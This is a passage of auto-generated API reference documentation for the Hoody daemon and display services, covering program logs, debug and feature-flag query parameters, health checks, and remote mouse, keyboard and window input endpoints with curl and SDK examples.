    "status": "FATAL"
  }
}
```


```json
{
  "success": false,
  "error": "Program with ID 999 not found"
}
```



---

## Program logs

### `GET /api/v1/daemon/programs/{id}/logs`

Retrieve the last N lines from a program's stdout or stderr log file.

#### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | integer | Yes | Program ID |
| `type` | query | string | No | Log stream: `stdout` or `stderr`. Default: `"stdout"`. |
| `lines` | query | integer | No | Number of lines to return from end of file. Default: `100`. |
| `port` | query | integer | No | Port number (required for port-range programs) |



```bash
curl -X GET "https://daemon.hoody.com/api/v1/daemon/programs/1/logs?type=stdout&lines=50&port=8080"
```


```typescript
const logs = await client.daemon.status.getLogs({
  id: 1,
  type: "stdout",
  lines: 50,
  port: 8080,
});
```


```json
{
  "success": true,
  "logs": "[2025-01-20T10:00:00Z] Server started on port 8080\n[2025-01-20T10:00:01Z] Listening for connections\n",
  "type": "stdout",
  "lines": 2,
  "log_file": "/var/log/hoody/web-server.out.log"
}
```


```json
{
  "success": false,
  "error": "Invalid type parameter: must be 'stdout' or 'stderr'"
}
```




The `status` field in program status responses can be one of: `RUNNING`, `STOPPED`, `STARTING`, `STOPPING`, `BACKOFF`, or `FATAL`. The `pid` and `uptime` fields are only populated when the program is in a running state.

---

# Daemon:Control

**Page:** api/daemon-control

[Download Raw Markdown](./api/daemon-control.md)

---

## API Endpoints Summary

- **POST** `/api/v1/daemon/programs/{id}/enable` — Enable a program
- **POST** `/api/v1/daemon/programs/{id}/disable` — Disable a program
- **POST** `/api/v1/daemon/programs/{id}/start` — Start a program or port instance
- **POST** `/api/v1/daemon/programs/{id}/stop` — Stop a program or port instance

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Daemon:Health

**Page:** api/daemon-health

[Download Raw Markdown](./api/daemon-health.md)

---

## API Endpoints Summary

- **GET** `/api/v1/daemon/health` — Service health check

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Daemon:Programs

**Page:** api/daemon-programs

[Download Raw Markdown](./api/daemon-programs.md)

---

## API Endpoints Summary

- **GET** `/api/v1/daemon/programs` — List all programs
- **GET** `/api/v1/daemon/programs/{id}` — Get a specific program
- **POST** `/api/v1/daemon/programs/reset` — Reset programs to default
- **POST** `/api/v1/daemon/programs/add` — Add a new CUSTOM program
- **POST** `/api/v1/daemon/programs/edit/{id}` — Edit a program
- **POST** `/api/v1/daemon/programs/remove/{id}` — Remove a program

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Daemon:Quick Start

**Page:** api/daemon-quick-start

[Download Raw Markdown](./api/daemon-quick-start.md)

---

## API Endpoints Summary

- **GET** `/api/v1/daemon/quick-start` — List all ephemeral programs
- **POST** `/api/v1/daemon/quick-start` — Launch ephemeral CUSTOM program
- **GET** `/api/v1/daemon/quick-start/{id}/status` — Get ephemeral program status
- **GET** `/api/v1/daemon/quick-start/{id}/logs` — Get ephemeral program logs
- **POST** `/api/v1/daemon/quick-start/{id}/stop` — Stop ephemeral program

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Daemon:Status

**Page:** api/daemon-status

[Download Raw Markdown](./api/daemon-status.md)

---

## API Endpoints Summary

- **GET** `/api/v1/daemon/status` — Get all program statuses
- **GET** `/api/v1/daemon/status/{id}` — Get specific program status
- **GET** `/api/v1/daemon/programs/{id}/logs` — Get program logs

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Display:Display

**Page:** api/display-display

[Download Raw Markdown](./api/display-display.md)

---

## API Endpoints Summary

- **GET** `/api/v1/display/` — Access the HTML5 Display client interface
- **GET** `/api/v1/display/info` — Get display information and screenshots
- **GET** `/api/v1/display/screenshots` — List all available screenshots
- **GET** `/api/v1/display/clipboard` — Read clipboard text
- **POST** `/api/v1/display/clipboard` — Write clipboard text
- **GET** `/api/v1/display/windows` — List windows on the current display
- **GET** `/api/v1/display/window/{windowId}/properties` — Get extended properties for a window

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Display:Health

**Page:** api/display-health

[Download Raw Markdown](./api/display-health.md)

---

## API Endpoints Summary

- **GET** `/api/v1/display/health` — Service health check

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Display:Input

**Page:** api/display-input

[Download Raw Markdown](./api/display-input.md)

---

## API Endpoints Summary

- **POST** `/api/v1/display/mouse/click` — Click a mouse button
- **POST** `/api/v1/display/mouse/double-click` — Double-click a mouse button
- **POST** `/api/v1/display/mouse/move` — Move cursor to absolute position
- **POST** `/api/v1/display/mouse/move-relative` — Move cursor by offset
- **POST** `/api/v1/display/mouse/down` — Press and hold a mouse button
- **POST** `/api/v1/display/mouse/up` — Release a mouse button
- **POST** `/api/v1/display/mouse/scroll` — Scroll in a direction
- **GET** `/api/v1/display/mouse/location` — Get cursor position
- **POST** `/api/v1/display/keyboard/type` — Type a string of text
- **POST** `/api/v1/display/keyboard/key` — Press key combinations
- **POST** `/api/v1/display/keyboard/key-down` — Hold a key down
- **POST** `/api/v1/display/keyboard/key-up` — Release a held key
- **POST** `/api/v1/display/window/focus` — Focus/activate a window
- **POST** `/api/v1/display/window/move` — Move a window
- **POST** `/api/v1/display/window/resize` — Resize a window
- **POST** `/api/v1/display/window/minimize` — Minimize a window
- **POST** `/api/v1/display/window/close` — Close a window
- **POST** `/api/v1/display/window/raise` — Raise a window to the top
- **GET** `/api/v1/display/window/active` — Get the active window ID
- **POST** `/api/v1/display/window/search` — Search for windows by pattern
- **GET** `/api/v1/display/window/{windowId}/geometry` — Get window position and size
- **GET** `/api/v1/display/window/{windowId}/name` — Get window title
- **POST** `/api/v1/display/input/click-at` — Move cursor and click
- **POST** `/api/v1/display/input/type-at` — Move, click, and type in one operation
- **POST** `/api/v1/display/input/drag` — Drag from one position to another
- **POST** `/api/v1/display/input/select` — Select a range via click + shift-click
- **POST** `/api/v1/display/input/act` — Execute one action with optional screenshot
- **POST** `/api/v1/display/input/wait` — Wait for a duration with optional screenshot
- **POST** `/api/v1/display/input/batch` — Execute a sequence of actions
- **POST** `/api/v1/display/input/reset` — Emergency release all inputs
- **GET** `/api/v1/display/input/display-geometry` — Get display dimensions

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Display:Screenshots

**Page:** api/display-screenshots

[Download Raw Markdown](./api/display-screenshots.md)

---

## API Endpoints Summary

- **GET** `/api/v1/display/screenshot` — Capture a new screenshot
- **GET** `/api/v1/display/screenshot/info` — Capture screenshot and return metadata only
- **GET** `/api/v1/display/screenshot/last` — Retrieve the most recent screenshot
- **GET** `/api/v1/display/screenshot/last/info` — Get metadata for the most recent screenshot
- **GET** `/api/v1/display/screenshot/{timestamp}` — Retrieve a specific screenshot by timestamp

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Display:Thumbnails

**Page:** api/display-thumbnails

[Download Raw Markdown](./api/display-thumbnails.md)

---

## API Endpoints Summary

- **GET** `/api/v1/display/thumbnail` — Capture a new screenshot thumbnail
- **GET** `/api/v1/display/thumbnail/last` — Retrieve the most recent thumbnail
- **GET** `/api/v1/display/thumbnail/{timestamp}` — Retrieve a specific thumbnail by timestamp

## CLI

```bash
# CLI mapping will be generated from the SDK CLI sources in a later step.
# Example (placeholder):
# hoody-cli <command> --help
```

---

# Displays: Debugging

**Page:** api/displays/debugging

[Download Raw Markdown](./api/displays/debugging.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Displays: Debugging

Use these debug query parameters to enable verbose logging for specific Display client subsystems. When a flag is set to `true`, the corresponding subsystem writes detailed diagnostic output to the browser's developer console, making it easier to troubleshoot rendering, input, networking, and file transfer issues.

This page documents the nine `debug_*` query parameters accepted by the `/api/v1/display/` endpoint. The endpoint accepts additional parameters for client customization; those are covered on other pages.

### `GET /api/v1/display/`

Access the HTML5 Display client interface with optional debug logging enabled via URL parameters. The same parameters are available on the root endpoint [`/`](#/Display/accessDisplayClient) — this version is the standardized, versioned API path used for RESTful integrations and API gateways.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `debug_main` | query | boolean | No | Enable main debug logging. Default: `false` |
| `debug_network` | query | boolean | No | Enable network debug logging. Default: `false` |
| `debug_keyboard` | query | boolean | No | Enable keyboard debug logging. Default: `false` |
| `debug_mouse` | query | boolean | No | Enable mouse debug logging. Default: `false` |
| `debug_geometry` | query | boolean | No | Enable geometry debug logging. Default: `false` |
| `debug_draw` | query | boolean | No | Enable draw debug logging. Default: `false` |
| `debug_clipboard` | query | boolean | No | Enable clipboard debug logging. Default: `false` |
| `debug_audio` | query | boolean | No | Enable audio debug logging. Default: `false` |
| `debug_file` | query | boolean | No | Enable file transfer debug logging. Default: `false` |



```bash
curl -G "https://domain.com/api/v1/display/" \
  --data-urlencode "debug_main=true" \
  --data-urlencode "debug_network=true" \
  --data-urlencode "debug_keyboard=true" \
  --data-urlencode "debug_mouse=true" \
  --data-urlencode "debug_geometry=true" \
  --data-urlencode "debug_draw=true" \
  --data-urlencode "debug_clipboard=true" \
  --data-urlencode "debug_audio=true" \
  --data-urlencode "debug_file=true"
```


```typescript
await client.display.accessClient({
  debug_main: true,
  debug_network: true,
  debug_keyboard: true,
  debug_mouse: true,
  debug_geometry: true,
  debug_draw: true,
  debug_clipboard: true,
  debug_audio: true,
  debug_file: true
});
```



### Response



```html
<!DOCTYPE html>
<html>
<head><title>Hoody Display Client</title></head>
<body>
  <!-- Display HTML5 client interface -->
</body>
</html>
```




Enable only the subsystems relevant to the problem you are investigating. Leaving all nine flags set at once produces very high log volume and can make browser console output harder to read.



Debug flags are intended for development and troubleshooting. Do not enable them in production deployments — verbose logging impacts performance and may expose internal state in client-side logs.

---

# Displays: Feature Flags

**Page:** api/displays/feature-flags

[Download Raw Markdown](./api/displays/feature-flags.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



# Displays: Feature Flags

Toggle printing, file transfer, and notification features when accessing the HTML5 Display client. These query parameters configure client-side capabilities at connection time, allowing you to disable resource-intensive features (like file transfer) in kiosk environments or enable real-time notifications via an external server.

## Access the HTML5 Display client

### `GET /api/v1/display/`

Serves the HTML5 Display client web interface with feature flag configuration via URL parameters. This is the standardized API version of the root endpoint.

The parameters below control printing, file transfer, and notification behavior. For the full list of configuration parameters, see the main Display client endpoint.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `printing` | query | boolean | No | Enable printing support. Default: `true` |
| `file_transfer` | query | boolean | No | Enable file transfer support. Default: `true` |
| `notification_server_url` | query | string | No | External notification server URL for real-time notification integration. |
| `web_notifications` | query | boolean | No | Enable browser web notifications (native OS notifications). Default: `true` |
| `display_notifications` | query | boolean | No | Show notifications within display UI. Default: `true` |
| `notification_connection_type` | query | string | No | Notification server connection type. Allowed values: `websocket`, `polling`. Default: `"websocket"` |

#### `notification_server_url` format

The URL must follow this pattern:

```
https://{project}-{container}-n-{display}.{node}.containers.hoody.icu/notification-client.js
```

If not provided, the client attempts to auto-detect from the current hostname pattern by transforming `display` to `n` in the URL.

**Examples:**

- Manual: `?notification_server_url=https://my-project-container-n-6.sg-sin-1.containers.hoody.icu/notification-client.js`
- Auto-detected from: `https://my-project-container-display-6.sg-sin-1.containers.hoody.icu`

The notification server (port 3999) provides historical notification retrieval, real-time WebSocket updates, notification icons, and desktop notification triggering.


The `notification_connection_type` parameter accepts `websocket` (real-time updates, recommended) or `polling` (periodic HTTP polling, fallback).


### Response



```html
<!DOCTYPE html>
<html>
<head><title>Hoody Display Client</title></head>
<body>
  <!-- Display HTML5 client interface -->
</body>
</html>
```



### Example

```bash
curl "https://domain.com/api/v1/display/?printing=false&file_transfer=false&web_notifications=true&display_notifications=true&notification_connection_type=websocket"
```

### SDK

```javascript
const html = await client.display.accessClient({
  printing: false,
  file_transfer: false,
  web_notifications: true,
  display_notifications: true,
  notification_server_url: "https://my-project-container-n-6.sg-sin-1.containers.hoody.icu/notification-client.js",
  notification_connection_type: "websocket"
});
```

---

# Displays: Health & Info

**Page:** api/displays/health

[Download Raw Markdown](./api/displays/health.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Health check

Use these endpoints to verify the Display service is reachable and to inspect its runtime state. The health endpoint is unauthenticated and always returns HTTP 200 with `application/json` when the service is up.

### `GET /api/v1/display/health`

Returns the standardized 9-field health response. Unauthenticated. Always returns HTTP 200 with `application/json` when the service is up.

This endpoint takes no parameters.



```bash
curl https://api.hoody.com/api/v1/display/health
```


```ts
const result = await client.display.health.check();
```


Service is healthy.

```json
{
  "status": "ok",
  "service": "display",
  "built": "2024-01-15T08:00:00.000Z",
  "started": "2024-01-20T12:34:56.789Z",
  "memory": {
    "rss": 52428800,
    "heap": 16777216
  },
  "fds": 42,
  "pid": 12345,
  "ip": "192.168.1.100",
  "userAgent": "Hoody-SDK/1.0"
}
```

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `status` | string | Yes | Service status. Always `"ok"`. |
| `service` | string | Yes | Service identifier. |
| `built` | string | No | Build timestamp (ISO 8601). |
| `started` | string | Yes | Service start timestamp (ISO 8601). |
| `memory` | object | No | Process memory usage (see below). |
| `fds` | integer | No | Open file descriptor count. |
| `pid` | integer | Yes | Process ID. |
| `ip` | string | Yes | Server IP address. |
| `userAgent` | string | No | Request user agent. |


The `memory` object has the following properties:
- `rss` (integer, required) — Resident set size in bytes
- `heap` (integer) — V8 heap used in bytes

---

# Hoody Displays

**Page:** api/displays/index

[Download Raw Markdown](./api/displays/index.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Hoody Displays service powers the visual desktop streaming experience in Hoody. It manages HTML5 display clients, handles input routing (keyboard, mouse, clipboard), captures screenshots, and exposes configuration endpoints for performance tuning, theming, and feature toggles.

Use this section to integrate display streaming into your application, capture visual snapshots of running sessions, or fine-tune the user-facing behavior of the web client.

## Available Endpoints




Access and configure the HTML5 Display client. Load the client interface and manage its connection lifecycle.

[Read more →](/api/displays/web-client/)




Configure keyboard input modes, clipboard synchronization, and scrolling behavior for the display client.

[Read more →](/api/displays/input-clipboard/)




Capture full display screenshots, request thumbnails, and manage previously captured images.

[Read more →](/api/displays/screenshots/)




Configure session sharing, read-only mode, and multi-user access for an active display session.

[Read more →](/api/displays/session-sharing/)




Health check and API documentation endpoints for monitoring display service availability and metadata.

[Read more →](/api/displays/health/)




Tune encoding settings, bandwidth limits, frame rate, and rendering performance for the display stream.

[Read more →](/api/displays/performance/)




Configure window decorations, toolbar visibility, dark mode, and other presentation options.

[Read more →](/api/displays/ui-theming/)




Toggle optional capabilities such as printing, file transfer, and video streaming on a per-session basis.

[Read more →](/api/displays/feature-flags/)




Enable debug flags and diagnostic instrumentation for troubleshooting display issues.

[Read more →](/api/displays/debugging/)





All display endpoints are scoped to an active display session. You will need a valid `displayID` (typically obtained when launching a session) before calling most of the endpoints in the sub-pages above.

---

# Displays: Input Actions

**Page:** api/displays/input-actions

[Download Raw Markdown](./api/displays/input-actions.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Display Input API provides low-level control over mouse, keyboard, and window management on a remote display. Use these endpoints to automate UI interactions, capture screenshots, manipulate windows, and build scripted workflows against a virtualized desktop.


Most endpoints accept an optional `displayId` query parameter (range: `1`–`999999`) that overrides the `*-display-N.*` hostname pattern for selecting a target display.


## Display & Window Information

Query the current state of the display, cursor, and windows.

### `GET /api/v1/display/input/display-geometry`

Returns the dimensions of the current display.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Response



```json
{
  "success": true,
  "width": 1920,
  "height": 1080,
  "screen": 0
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to read display geometry"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
const geometry = await client.display.input.geometry();
```

---

### `GET /api/v1/display/mouse/location`

Returns the current cursor position, screen, and the window under the cursor.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Response



```json
{
  "success": true,
  "x": 540,
  "y": 312,
  "screen": 0,
  "window": 1234567
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to read mouse location"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
const location = await client.display.input.mouseLocation();
```

---

### `GET /api/v1/display/window/active`

Returns the currently active (focused) window ID.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Response



```json
{
  "success": true,
  "windowId": 1234567
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to read active window"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
const active = await client.display.input.windowActive();
```

---

### `GET /api/v1/display/window/{windowId}/geometry`

Returns the position and size of a specific window.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `windowId` | path | string | Yes | Window ID (decimal or hex) |
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Response



```json
{
  "success": true,
  "windowId": 1234567,
  "x": 100,
  "y": 50,
  "width": 1280,
  "height": 720
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Window not found"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to read window geometry"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
const geometry = await client.display.input.windowGeometry({ windowId: "0x12d687" });
```

---

### `GET /api/v1/display/window/{windowId}/name`

Returns the title of a specific window.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `windowId` | path | string | Yes | Window ID (decimal or hex) |
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Response



```json
{
  "success": true,
  "windowId": 1234567,
  "name": "Visual Studio Code"
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Window not found"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to read window name"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
const name = await client.display.input.windowName({ windowId: "0x12d687" });
```

---

## High-Level Input Actions

Composite actions that bundle multiple low-level operations into a single request.

### `POST /api/v1/display/input/act`

Executes a single named action (e.g. `mouse/click`, `keyboard/type`) with an optional screenshot.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `action` | string | Yes | — | Action path (e.g. `mouse/click`, `keyboard/type`). Max length: `50` |
| `params` | object | No | `{}` | Action-specific parameters |
| `screenshot` | boolean | No | `true` | Capture screenshot after action |
| `screenshotDelay` | integer | No | `100` | Delay before screenshot in milliseconds. Range: `0`–`5000` |
| `screenshotRegion` | string | No | — | Crop region in format `x1,y1,x2,y2` |

### Response



```json
{
  "success": true,
  "action": {
    "success": true,
    "action": "mouse/click",
    "details": {
      "button": 1,
      "x": 540,
      "y": 312
    }
  },
  "screenshot": {
    "timestamp": "2026-01-15T12:34:56.000Z",
    "image": {
      "data": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAAB...",
      "mimeType": "image/png",
      "dataUrl": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUg..."
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
const result = await client.display.input.act({
  action: "mouse/click",
  params: { x: 540, y: 312, button: 1 },
  screenshot: true,
});
```

---

### `POST /api/v1/display/input/batch`

Executes a sequence of actions in order. Up to 50 actions per request.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `actions` | array | Yes | List of actions to execute. `1`–`50` items |

Each action item has the following structure:

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `action` | string | Yes | Action path (e.g. `mouse/click`, `keyboard/type`) |
| `params` | object | No | Action-specific parameters |

### Response



```json
{
  "success": true,
  "completed": [
    { "index": 0, "action": "mouse/move", "success": true },
    { "index": 1, "action": "mouse/click", "success": true },
    { "index": 2, "action": "keyboard/type", "success": true }
  ],
  "failed": {
    "index": 3,
    "action": "keyboard/key",
    "error": "Unknown keysym: Foo"
  },
  "skipped": [4, 5]
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
const result = await client.display.input.batch({
  actions: [
    { action: "mouse/move", params: { x: 100, y: 100 } },
    { action: "mouse/click", params: { button: 1 } },
    { action: "keyboard/type", params: { text: "hello" } },
  ],
});
```

---

### `POST /api/v1/display/input/click-at`

Moves the cursor to a coordinate and clicks.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `x` | integer | Yes | — | Target X coordinate |
| `y` | integer | Yes | — | Target Y coordinate |
| `button` | integer | No | `1` | Mouse button (`1`=left, `2`=middle, `3`=right, `4`–`7`=extra). Range: `1`–`7` |

### Response



```json
{
  "success": true,
  "action": "click",
  "details": {
    "x": 540,
    "y": 312,
    "button": 1
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.clickAt({ x: 540, y: 312, button: 1 });
```

---

### `POST /api/v1/display/input/drag`

Drags the cursor from a start position to an end position.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `startX` | integer | Yes | — | Start X coordinate |
| `startY` | integer | Yes | — | Start Y coordinate |
| `endX` | integer | Yes | — | End X coordinate |
| `endY` | integer | Yes | — | End Y coordinate |
| `button` | integer | No | `1` | Mouse button (`1`=left, `2`=middle, `3`=right, `4`–`7`=extra). Range: `1`–`7` |
| `steps` | integer | No | — | Number of intermediate mouse positions for smooth drag. Range: `1`–`1000` |

### Response



```json
{
  "success": true,
  "action": "drag",
  "details": {
    "startX": 100,
    "startY": 200,
    "endX": 800,
    "endY": 600,
    "button": 1,
    "steps": 20
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.drag({
  startX: 100,
  startY: 200,
  endX: 800,
  endY: 600,
  steps: 20,
});
```

---

### `POST /api/v1/display/input/select`

Selects a range by clicking at a start position and shift-clicking at an end position.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `x` | integer | Yes | Start X coordinate |
| `y` | integer | Yes | Start Y coordinate |
| `endX` | integer | Yes | End X coordinate |
| `endY` | integer | Yes | End Y coordinate |

### Response



```json
{
  "success": true,
  "action": "select",
  "details": {
    "x": 120,
    "y": 240,
    "endX": 480,
    "endY": 360
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.select({ x: 120, y: 240, endX: 480, endY: 360 });
```

---

### `POST /api/v1/display/input/type-at`

Moves the cursor to a coordinate, clicks, and types text in one operation.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `x` | integer | Yes | Target X coordinate |
| `y` | integer | Yes | Target Y coordinate |
| `text` | string | Yes | Text to type. Max length: `10000` |
| `delay` | integer | No | Inter-keystroke delay in milliseconds. Range: `0`–`1000` |

### Response



```json
{
  "success": true,
  "action": "type-at",
  "details": {
    "x": 540,
    "y": 312,
    "text": "user@example.com",
    "delay": 0
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 429,
  "error": "Too Many Requests",
  "message": "Input action queue is full"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.typeAt({ x: 540, y: 312, text: "user@example.com" });
```

---

### `POST /api/v1/display/input/wait`

Waits for a specified duration, with an optional screenshot on completion.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `ms` | integer | Yes | — | Wait duration in milliseconds. Range: `50`–`30000` |
| `screenshot` | boolean | No | `false` | Capture screenshot after wait |

### Response



```json
{
  "success": true,
  "action": "wait",
  "details": {
    "ms": 500
  },
  "screenshot": {
    "timestamp": "2026-01-15T12:34:56.000Z",
    "image": {
      "data": "iVBORw0KGgoAAAANSUhEUgAAAAEAAAAB...",
      "mimeType": "image/png",
      "dataUrl": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUg..."
    }
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
  "error": "Service Unavailable",
  "message": "Display is not available"
}
```



### SDK Usage

```ts
await client.display.input.wait({ ms: 500, screenshot: false });
```

---

### `POST /api/v1/display/input/reset`

Emergency release of all held inputs (mouse buttons and modifier keys).

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `displayId` | query | integer | No | Display ID to use (overrides the `*-display-N.*` hostname pattern). Valid range: `1`–`999999` |

This endpoint takes no body.

### Response



```json
{
  "success": true,
  "action": "reset",
  "details": {
    "released": ["mouse:1", "Shift_L", "ctrl"]
  }
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "No display context available"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Input action failed"
}
```


```json
{
  "statusCode": 503,
